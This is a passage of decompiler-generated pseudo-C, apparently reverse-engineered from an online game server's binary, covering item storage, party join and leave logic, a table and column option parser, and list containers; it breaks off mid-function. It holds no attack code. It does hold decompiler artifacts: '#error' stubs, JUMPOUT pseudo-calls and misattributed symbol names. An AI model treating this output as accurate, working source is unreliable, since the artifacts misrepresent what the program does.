ItemActionItemBox::_ItemActionItemBox(ItemActionItemBox *this) { ItemActionItemBox *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemSmallBagVtbl *)ItemActionItemBox::_vftable_; _eh_vector_destructor_iterator_( this->iaib_Array, 0x14u, 42, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemSmallBagVtbl *)ItemSmallBag::_vftable_; } // 5D98C8: using guessed type int (*ItemSmallBag_ItemInform_ActionItem____vftable_[3])(); // 5D9A58: using guessed type int (__stdcall *ItemActionItemBox___vftable_[2])(int slot); //----- (00554DB0) -------------------------------------------------------- void __thiscall ItemRewardStorage::ItemRewardStorage(ItemRewardStorage *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemRewardStorage::_vftable_; _eh_vector_constructor_iterator_( this->irs_Array, 0x74u, 24, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5D987C: using guessed type int (__stdcall *ItemRewardStorage___vftable_[2])(int slot); //----- (00554E10) -------------------------------------------------------- int __thiscall ItemRewardStorage::irs_FillBufferItem(ItemRewardStorage *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr) { PROTO_ITEMPACKET_INFORM *v3; // esi@1 int v4; // eax@4 unsigned __int16 v5; // dx@5 char v6; // al@5 int ibi; // [sp+8h] [bp-1Ch]@1 ItemRewardStorage *v9; // [sp+Ch] [bp-18h]@1 int v10; // [sp+10h] [bp-14h]@1 int v11; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v3 = itmarr; *itemcounter = 0; ibi = (int)ItemBoxIterator::_vftable_; v9 = this; v11 = ((int (*)(void))this->baseclass_0.vfptr->ib_BagSizeOutput)(); ibi = (int)&ItemBoxIterItem::_vftable_; v12 = 0; v10 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibi) ) { LABEL_4: v4 = ((int (__stdcall *)(int))v9->baseclass_0.vfptr->ib_GetInventoryCell)(v10); if ( v4 ) { v5 = v3->location.Inven & 0x3FF | 0x800; v3->location.Inven = v5; v3->location.Inven = v5 ^ (v10 ^ v5) & 0x3FF; v6 = (char)&ItemTotalInformation::iti_fill2buffer_union( (ItemTotalInformation *)v4, *(ItemAttributeClass **)(v4 + 112), *(_WORD *)(v4 + 8), (char *)&v3->info)[2 - ((_BYTE)v3 + 3)]; v3->datasize = v6; v3 = (PROTO_ITEMPACKET_INFORM *)((char *)v3 + (unsigned __int8)v6 + 1); ++*itemcounter; while ( v10 < v11 - 1 ) { ++v10; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibi)(&ibi) ) goto LABEL_4; } } } else { while ( v10 < v11 - 1 ) { ++v10; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibi)(&ibi) ) goto LABEL_4; } } return (char *)v3 - itemcounter; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00554F50) -------------------------------------------------------- unsigned __int16 __thiscall CParty::GetEmptyParty(CParty *this) { int v1; // esi@1 signed int v2; // edi@1 signed int v3; // eax@2 unsigned __int16 result; // ax@4 signed __int64 v5; // qt2@5 v1 = this->m_EmptyPartySearchPoint; v2 = 0; while ( 1 ) { v3 = v1 + 1; if ( !this->m_Array[v1].NumOfMember ) break; ++v2; v1 = v3 % 2000; if ( v2 >= 2000 ) return -1; } this->m_Array[v1].ItemLootingType = 0; v5 = v3; result = v1; this->m_EmptyPartySearchPoint = v5 % 2000; return result; } //----- (00554FB0) -------------------------------------------------------- void __thiscall CParty::PartyDelete(CParty *this, unsigned __int16 nPartyNo) { int v2; // eax@2 char v3; // dl@2 char *v4; // eax@2 if ( nPartyNo < 0x7D0u ) { v2 = nPartyNo; v3 = this->m_Array[v2].NumOfMember; v4 = (char *)this + v2 * 168; if ( v3 ) { *v4 = 0; --this->m_NumOfParty; } } } //----- (00554FE0) -------------------------------------------------------- unsigned __int16 __thiscall CParty::PartyGetNo(CParty *this, unsigned int nCharNo) { signed int v2; // eax@1 CParty *v3; // edi@1 int v4; // esi@3 int v5; // ecx@3 int v6; // edx@4 v2 = 0; v3 = this; while ( 1 ) { if ( v3->m_Array[0].NumOfMember ) { v4 = v3->m_Array[0].NumOfMember; v5 = 0; if ( v4 > 0 ) break; } LABEL_7: ++v2; v3 = (CParty *)((char *)v3 + 168); if ( v2 >= 2000 ) { LOWORD(v2) = -1; return v2; } } v6 = (int)v3->m_Array[0].Members; while ( *(_DWORD *)v6 != nCharNo ) { ++v5; v6 += 32; if ( v5 >= v4 ) goto LABEL_7; } return v2; } //----- (00555030) -------------------------------------------------------- int __thiscall CParty::MemberGetNo(CParty *this, unsigned __int16 nPartyNo, unsigned int nCharNo) { int result; // eax@2 char *v4; // edx@3 int v5; // ecx@3 int v6; // edx@4 if ( nPartyNo < 0x7D0u ) { v4 = (char *)this + 168 * nPartyNo; v5 = (unsigned __int8)*v4; result = 0; if ( v5 <= 0 ) { LABEL_7: result = -2; } else { v6 = (int)(v4 + 4); while ( *(_DWORD *)v6 != nCharNo ) { ++result; v6 += 32; if ( result >= v5 ) goto LABEL_7; } } } else { result = -1; } return result; } //----- (00555080) -------------------------------------------------------- int __thiscall CParty::SetItemLooting(CParty *this, unsigned __int16 nPartyNo, char LootingType) { int result; // eax@2 if ( nPartyNo < 0x7D0u ) { this->m_Array[nPartyNo].ItemLootingType = LootingType; result = 1; } else { result = 0; } return result; } //----- (005550B0) -------------------------------------------------------- char __thiscall CParty::getitemlooting(CParty *this, unsigned __int16 nPartyNo) { char result; // al@2 if ( nPartyNo < 0x7D0u ) result = this->m_Array[nPartyNo].ItemLootingType; else result = -1; return result; } //----- (005550E0) -------------------------------------------------------- CParty::PARTY_SLOT *__thiscall CParty::operator__(CParty *this, unsigned __int16 prt) { CParty::PARTY_SLOT *result; // eax@2 if ( prt < 0x7D0u ) result = (CParty::PARTY_SLOT *)((char *)this + 168 * prt); else result = &CParty::p_def; return result; } //----- (00555110) -------------------------------------------------------- CParty::PARTY_SLOT *__thiscall CParty::p_defaultslot(CParty *this) { return &CParty::p_def; } //----- (00555120) -------------------------------------------------------- int __thiscall PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_WORD *)(this + 6) = *(_WORD *)(a2 + 6); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_BYTE *)(this + 24) = *(_BYTE *)(a2 + 24); *(_BYTE *)(this + 25) = *(_BYTE *)(a2 + 25); *(_BYTE *)(this + 26) = *(_BYTE *)(a2 + 26); return result; } //----- (00555170) -------------------------------------------------------- unsigned __int16 __thiscall CParty::MemberJoin(CParty *this, unsigned __int16 nPartyNo, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMember) { unsigned int v3; // ebx@1 CParty *v4; // ebp@1 char v5; // al@1 unsigned __int16 result; // ax@2 int v7; // edi@5 int v8; // ecx@5 int v9; // eax@6 int v10; // edi@12 v3 = nPartyNo; v4 = this; v5 = this->m_Array[v3].NumOfMember; if ( v5 ) { if ( (unsigned __int8)v5 < 5u ) { v7 = (unsigned __int8)v5; v8 = 0; if ( (signed int)(unsigned __int8)v5 <= 0 ) { LABEL_9: if ( CParty::PartyGetNo(v4, pMember->Member.chrregnum) == -1 ) { v10 = v3 * 168 + 32 * v7; *(unsigned int *)((char *)&v4->m_Array[0].Members[0].MemberInform.Member.chrregnum + v10) = pMember->Member.chrregnum; *(unsigned __int16 *)((char *)&v4->m_Array[0].Members[0].MemberInform.Member.zonecharhandle + v10) = pMember->Member.zonecharhandle; *(unsigned __int16 *)((char *)&v4->m_Array[0].Members[0].MemberInform.Member.wmcharhandle + v10) = pMember->Member.wmcharhandle; *(_QWORD *)&v4->m_Array[0].Members[0].MemberInform.Member.charname.n4_name[v10] = *(_QWORD *)&pMember->Member.charname.n4_name[0]; *(_QWORD *)&v4->m_Array[0].Members[0].MemberInform.Member.charname.n4_name[v10 + 8] = *(_QWORD *)&pMember->Member.charname.n4_name[8]; *(&v4->m_Array[0].Members[0].MemberInform.Member.level + v10) = pMember->Member.level; *(&v4->m_Array[0].Members[0].MemberInform.Member.flag + v10) = pMember->Member.flag; *(&v4->m_Array[0].Members[0].MemberInform.ZoneMerchineNo + v10) = pMember->ZoneMerchineNo; ++v4->m_Array[v3].NumOfMember; result = nPartyNo; } else { result = -2; } } else { v9 = (int)v4->m_Array[v3].Members; while ( *(_DWORD *)v9 != pMember->Member.chrregnum ) { ++v8; v9 += 32; if ( v8 >= v7 ) goto LABEL_9; } result = -3; } } else { result = -5; } } else { result = -6; } return result; } //----- (00555240) -------------------------------------------------------- void __thiscall CParty::PARTY_SLOT::PARTY_MEMBER_SLOT::PARTY_MEMBER_SLOT(CParty::PARTY_SLOT::PARTY_MEMBER_SLOT *this) { PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::PROTO_PARTY_MEMBER_AND_ZONEMERCHINE(&this->MemberInform); } //----- (00555250) -------------------------------------------------------- unsigned __int16 __thiscall CParty::MemberJoin(CParty *this, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMaster, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMember, unsigned __int16 nPartyNo) { unsigned __int16 v4; // bx@1 CParty *v5; // esi@1 unsigned __int16 result; // ax@3 unsigned __int16 v7; // ax@4 int v8; // edi@10 v4 = nPartyNo; v5 = this; if ( nPartyNo != -1 || (v4 = CParty::GetEmptyParty(this), v4 != -1) ) { v7 = CParty::PartyGetNo(v5, pMaster->Member.chrregnum); if ( v7 == -1 ) { if ( CParty::PartyGetNo(v5, pMember->Member.chrregnum) == -1 ) { v8 = v4; v5->m_Array[v8].NumOfMember = 2; PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::operator_((int)v5->m_Array[v8].Members, (int)pMaster); PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::operator_((int)&v5->m_Array[v8].Members[1], (int)pMember); v5->m_Array[v8].Members[2].MemberInform.Member.chrregnum = -1; v5->m_Array[v8].Members[3].MemberInform.Member.chrregnum = -1; v5->m_Array[v8].Members[4].MemberInform.Member.chrregnum = -1; ++v5->m_NumOfParty; result = v4; } else { result = -2; } } else { if ( v7 == v4 ) result = CParty::MemberJoin(v5, v7, pMember); else result = -7; } } else { result = -1; } return result; } //----- (00555320) -------------------------------------------------------- int __thiscall CParty::MemberLeave(CParty *this, unsigned __int16 nPartyNo, unsigned int LeaveMember) { unsigned int v3; // edi@1 CParty *v4; // ebp@1 int v5; // eax@1 int result; // eax@2 int v7; // edx@3 char *v8; // ecx@4 int v9; // esi@10 int v10; // eax@11 int v11; // esi@11 char v12; // al@13 v3 = nPartyNo; v4 = this; v5 = this->m_Array[v3].NumOfMember; if ( this->m_Array[v3].NumOfMember ) { v7 = 0; if ( v5 <= 0 ) goto LABEL_18; v8 = (char *)this->m_Array[v3].Members; while ( *(_DWORD *)v8 != LeaveMember ) { ++v7; v8 += 32; if ( v7 >= v5 ) return 3; } if ( v7 < v5 ) { v9 = v5 - 1; if ( v7 < v5 - 1 ) { v10 = (int)&v4->m_Array[0].Members[v7].MemberInform.Member.charname.n4_name[v3 * 168 + 4]; v11 = v9 - v7; do { *(_DWORD *)(v10 - 12) = *(_DWORD *)(v10 + 20); *(_WORD *)(v10 - 8) = *(_WORD *)(v10 + 24); *(_WORD *)(v10 - 6) = *(_WORD *)(v10 + 26); *(_DWORD *)(v10 - 4) = *(_DWORD *)(v10 + 28); *(_DWORD *)v10 = *(_DWORD *)(v10 + 32); *(_DWORD *)(v10 + 4) = *(_DWORD *)(v10 + 36); *(_DWORD *)(v10 + 8) = *(_DWORD *)(v10 + 40); *(_BYTE *)(v10 + 12) = *(_BYTE *)(v10 + 44); *(_BYTE *)(v10 + 13) = *(_BYTE *)(v10 + 45); *(_BYTE *)(v10 + 14) = *(_BYTE *)(v10 + 46); *(_DWORD *)(v10 + 16) = *(_DWORD *)(v10 + 48); v10 += 32; --v11; } while ( v11 ); } v12 = v4->m_Array[v3].NumOfMember - 1; v4->m_Array[v3].NumOfMember = v12; if ( (unsigned __int8)v12 > 1u ) { result = v7 == 0; } else { v4->m_Array[v3].NumOfMember = 0; --v4->m_NumOfParty; result = 2; } } else { LABEL_18: result = 3; } } else { result = 4; } return result; } //----- (00555420) -------------------------------------------------------- #error "555420: undefined or illegal type '#331' (funcsize=113)" //----- (00555580) -------------------------------------------------------- void __thiscall CParty::PARTY_SLOT::PARTY_SLOT(CParty::PARTY_SLOT *this) { _eh_vector_constructor_iterator_( this->Members, 0x20u, 5, (void (__thiscall *)(void *))CParty::PARTY_SLOT::PARTY_MEMBER_SLOT::PARTY_MEMBER_SLOT, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (005555A0) -------------------------------------------------------- void __thiscall CParty::PARTY_SLOT::_PARTY_SLOT(CParty::PARTY_SLOT *this) { _eh_vector_destructor_iterator_( this->Members, 0x20u, 5, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (005555C0) -------------------------------------------------------- void __thiscall CParty::_CParty(CParty *this) { _eh_vector_destructor_iterator_(this, 0xA8u, 2000, (void (__thiscall *)(void *))CParty::PARTY_SLOT::_PARTY_SLOT); } //----- (005555E0) -------------------------------------------------------- int __thiscall CParty::PARTY_SLOT::operator_(int this, int a2) { int result; // eax@1 int v3; // esi@1 int v4; // edx@1 signed int v5; // ebp@1 result = this; *(_BYTE *)this = *(_BYTE *)a2; v3 = a2 + 24; v4 = this + 16; v5 = 5; do { *(_DWORD *)(v4 - 12) = *(_DWORD *)(v3 - 20); *(_WORD *)(v4 - 8) = *(_WORD *)(v3 - 16); *(_WORD *)(v4 - 6) = *(_WORD *)(v3 - 14); *(_DWORD *)(v4 - 4) = *(_DWORD *)(v3 - 12); *(_DWORD *)v4 = *(_DWORD *)(a2 - this + v4); *(_DWORD *)(v4 + 4) = *(_DWORD *)(v3 - 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)v3; *(_BYTE *)(v4 + 12) = *(_BYTE *)(v3 + 4); *(_BYTE *)(v4 + 13) = *(_BYTE *)(v3 + 5); *(_BYTE *)(v4 + 14) = *(_BYTE *)(v3 + 6); *(_DWORD *)(v4 + 16) = *(_DWORD *)(v3 + 8); v3 += 32; v4 += 32; --v5; } while ( v5 ); *(_BYTE *)(this + 164) = *(_BYTE *)(a2 + 164); return result; } //----- (00555660) -------------------------------------------------------- #error "555660: undefined or illegal type '#331' (funcsize=23)" //----- (005556B0) -------------------------------------------------------- void __thiscall CParty::CParty(CParty *this) { CParty *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0xA8u, 2000, (void (__thiscall *)(void *))CParty::PARTY_SLOT::PARTY_SLOT, (void (__thiscall *)(void *))CParty::PARTY_SLOT::_PARTY_SLOT); CParty::Init(v1); } //----- (005556E0) -------------------------------------------------------- char __thiscall ORTable::ort_ReadColumnHeader(ORTable *this, ORTokenReader *token, TokenArgument *targ) { ORTable *v3; // esi@1 char *v4; // eax@1 ORColumnHeader *v5; // eax@38 int v6; // eax@39 int v7; // ebp@40 int v8; // ebp@40 unsigned __int16 *v10; // [sp-8h] [bp-38h]@7 unsigned __int16 v11; // [sp-4h] [bp-34h]@7 char *v12; // [sp-4h] [bp-34h]@42 __int16 hnd; // [sp+10h] [bp-20h]@7 int i; // [sp+14h] [bp-1Ch]@1 char type[4]; // [sp+18h] [bp-18h]@2 int v16; // [sp+1Ch] [bp-14h]@2 int v17; // [sp+20h] [bp-10h]@2 int v18; // [sp+24h] [bp-Ch]@2 int v19; // [sp+28h] [bp-8h]@2 v3 = this; this->ort_RecordLength = 0; i = 0; v4 = ORTokenReader::ortr_ReadString(token, BIS_EXCLUDEBRACE); if ( v4 ) { while ( 1 ) { v19 = 0; v18 = 0; v17 = 0; v16 = 0; *(_DWORD *)type = 0; strncpy(type, v4, 0x14u); ORToken::ort_ToLower((ORToken *)type); if ( *(_DWORD *)type != *(_DWORD *)ORTable::ort_Index || v16 != dword_1465DE60 || v17 != dword_1465DE64 || v18 != dword_1465DE68 || v19 != dword_1465DE6C ) { if ( *(_DWORD *)type == *(_DWORD *)ORTable::ort_String && v16 == dword_1465DEB0 && v17 == dword_1465DEB4 && v18 == dword_1465DEB8 && v19 == dword_1465DEBC ) { v11 = 2; LABEL_37: v10 = (unsigned __int16 *)&hnd; goto LABEL_38; } if ( *(_DWORD *)type != *(_DWORD *)ORTable::ort_Byte || v16 != dword_1465DED8 || v17 != dword_1465DEDC || v18 != dword_1465DEE0 || v19 != dword_1465DEE4 ) { if ( *(_DWORD *)type != *(_DWORD *)ORTable::ort_Word || v16 != dword_1465DF3C || v17 != dword_1465DF40 || v18 != dword_1465DF44 || v19 != dword_1465DF48 ) { if ( (*(_DWORD *)type != *(_DWORD *)ORTable::ort_Dwrd || v16 != dword_1465DEC4 || v17 != dword_1465DEC8 || v18 != dword_1465DECC || v19 != dword_1465DED0) && (*(_DWORD *)type != *(_DWORD *)ORTable::ort_Dword || v16 != dword_1465DE9C || v17 != dword_1465DEA0 || v18 != dword_1465DEA4 || v19 != dword_1465DEA8) ) { v12 = "Undefined column type"; goto LABEL_46; } v11 = 5; goto LABEL_37; } v11 = 4; v10 = (unsigned __int16 *)&hnd; } else { v11 = 3; v10 = (unsigned __int16 *)&hnd; } } else { v11 = 1; v10 = (unsigned __int16 *)&hnd; } LABEL_38: v5 = ORColumnHeaderList::orchl_AllocObject(&v3->ort_HeaderList, v10, v11); if ( !v5 ) { v12 = "Too many columns or memory leak"; goto LABEL_46; } v6 = v5->vfptr->ortr_SetLength(v5, token, targ); if ( v6 < 0 ) return 0; v7 = i; v3->ort_RecordLength += v6; v8 = v7 + 1; i = v8; v4 = ORTokenReader::ortr_ReadString(token, BIS_EXCLUDEBRACE); if ( !v4 ) { if ( !v8 ) break; return 1; } } } v12 = "At least one column needed"; LABEL_46: ORTokenReader::ortr_SetError(token, v12); return 0; } // 1465DE60: using guessed type int dword_1465DE60; // 1465DE64: using guessed type int dword_1465DE64; // 1465DE68: using guessed type int dword_1465DE68; // 1465DE6C: using guessed type int dword_1465DE6C; // 1465DE9C: using guessed type int dword_1465DE9C; // 1465DEA0: using guessed type int dword_1465DEA0; // 1465DEA4: using guessed type int dword_1465DEA4; // 1465DEA8: using guessed type int dword_1465DEA8; // 1465DEB0: using guessed type int dword_1465DEB0; // 1465DEB4: using guessed type int dword_1465DEB4; // 1465DEB8: using guessed type int dword_1465DEB8; // 1465DEBC: using guessed type int dword_1465DEBC; // 1465DEC4: using guessed type int dword_1465DEC4; // 1465DEC8: using guessed type int dword_1465DEC8; // 1465DECC: using guessed type int dword_1465DECC; // 1465DED0: using guessed type int dword_1465DED0; // 1465DED8: using guessed type int dword_1465DED8; // 1465DEDC: using guessed type int dword_1465DEDC; // 1465DEE0: using guessed type int dword_1465DEE0; // 1465DEE4: using guessed type int dword_1465DEE4; // 1465DF3C: using guessed type int dword_1465DF3C; // 1465DF40: using guessed type int dword_1465DF40; // 1465DF44: using guessed type int dword_1465DF44; // 1465DF48: using guessed type int dword_1465DF48; //----- (00555990) -------------------------------------------------------- void __thiscall TokenArgument::_TokenArgument(TokenArgument *this) { TokenArgument *v1; // esi@1 v1 = this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->ignore); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->brace); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->comment); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->exchange); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->delimiter); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)v1); } //----- (00555A40) -------------------------------------------------------- char __thiscall OptionReader::or_ExecColumnName(OptionReader *this, ORTokenReader *token) { ORTable *v2; // eax@1 char result; // al@2 v2 = this->or_CurrentTable; if ( v2 ) { result = ORTable::ort_ReadColumnName(v2, token) && ORTokenReader::ortr_isEOL(token); } else { ORErrorMessage::operator_(&this->or_Argument.errmsg, "ColumnName without table"); result = 0; } return result; } //----- (00555A90) -------------------------------------------------------- char __thiscall OptionReader::or_ExecColumnType(OptionReader *this, ORTokenReader *token) { ORTable *v2; // eax@1 char result; // al@2 v2 = this->or_CurrentTable; if ( v2 ) { result = ORTable::ort_ReadColumnHeader(v2, token, &this->or_Argument); } else { ORErrorMessage::operator_(&this->or_Argument.errmsg, "ColumnHeader without table"); result = 0; } return result; } //----- (00555AC0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5D9B44: using guessed type int (__stdcall *List_ORRecord____vftable_[3])(__int16 hnd); //----- (00555AE0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ORRecord *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x808u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00555B30) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ORRecord *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x808u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00555B80) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5D9B60: using guessed type int (__stdcall *List_ORTable____vftable_[3])(__int16 hnd); //----- (00555BA0) -------------------------------------------------------- char __thiscall OptionReader::or_ExecTable(OptionReader *this, ORTokenReader *token) { OptionReader *v2; // edi@1 unsigned __int16 v3; // ax@1 char *v4; // ecx@1 int v5; // esi@2 char *v7; // eax@7 v2 = this; v3 = this->or_TableList.l_Finger.empty; v4 = (char *)&this->or_TableList; if ( v3 == -1 ) v5 = 0; else v5 = (*(int (__stdcall **)(_WORD))(*(_DWORD *)v4 + 4))(v3); v2->or_CurrentTable = (ORTable *)v5; if ( !v5 ) { ORErrorMessage::operator_(&v2->or_Argument.errmsg, "Too many tables"); return 0; } v7 = ORTokenReader::ortr_ReadString(token, BIS_EXCLUDEBRACE); if ( !v7 ) return 0; *(_DWORD *)(v5 + 16) = 0; *(_DWORD *)(v5 + 12) = 0; *(_DWORD *)(v5 + 8) = 0; *(_DWORD *)(v5 + 4) = 0; *(_DWORD *)v5 = 0; strncpy((char *)v5, v7, 0x14u); return 1; } //----- (00555C20) -------------------------------------------------------- void __thiscall ListArray::_ListArray(ListArray *this) { void *v1; // eax@1 void *v2; // esi@2 v1 = this->la_Array; if ( this->la_Array ) { v2 = (char *)v1 - 4; _eh_vector_destructor_iterator_(v1, 0x808u, *((_DWORD *)v1 - 1), (void (__thiscall *)(void *))ORRecord::_ORRecord); operator delete__(v2); } } //----- (00555C50) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ORRecord *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x808u); return 1; } // 555C65: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00555C80) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ORRecord *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x808u); return 1; } // 555C96: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00555CC0) -------------------------------------------------------- void __thiscall ORTable::_ORTable(ORTable *this) { ORTable *v1; // esi@1 ORKeyList *v2; // edi@1 void *v3; // eax@3 void *v4; // eax@5 void *v5; // edi@6 v1 = this; v2 = this->ort_PrimaryKey; if ( v2 ) { ORKeyList::_ORKeyList(v2); operator delete(v2); } v3 = v1->ort_DataRecord.l_Array; v1->ort_DataRecord.vfptr = (ListVtbl *)List::_vftable_; if ( v3 ) operator delete__(v3); v4 = v1->ort_DataArray.la_Array; if ( v4 ) { v5 = (char *)v4 - 4; _eh_vector_destructor_iterator_(v4, 0x808u, *((_DWORD *)v4 - 1), (void (__thiscall *)(void *))ORRecord::_ORRecord); operator delete__(v5); } ORColumnHeaderList::_ORColumnHeaderList(&v1->ort_HeaderList); } // 5D9B44: using guessed type int (__stdcall *List_ORRecord____vftable_[3])(__int16 hnd); //----- (00555D70) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ORTable *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); ORTable::operator_(v3, (int)ele); return 1; } // 555D85: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00555DA0) -------------------------------------------------------- int __thiscall ORTable::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); memcpy((void *)(this + 24), (const void *)(a2 + 24), 0x808u); *(_WORD *)(this + 2084) = *(_WORD *)(a2 + 2084); *(_DWORD *)(this + 2088) = *(_DWORD *)(a2 + 2088); *(_DWORD *)(this + 2092) = *(_DWORD *)(a2 + 2092); *(_DWORD *)(this + 2096) = *(_DWORD *)(a2 + 2096); *(_WORD *)(this + 2100) = *(_WORD *)(a2 + 2100); *(_DWORD *)(this + 2104) = *(_DWORD *)(a2 + 2104); return result; } //----- (00555E40) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ORTable *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); ORTable::operator_(v3, (int)ele); return 1; } // 555E56: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00555E70) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ORTable *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; ORTable::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00555EC0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ORTable *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; ORTable::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00555F10) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00555F60) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] 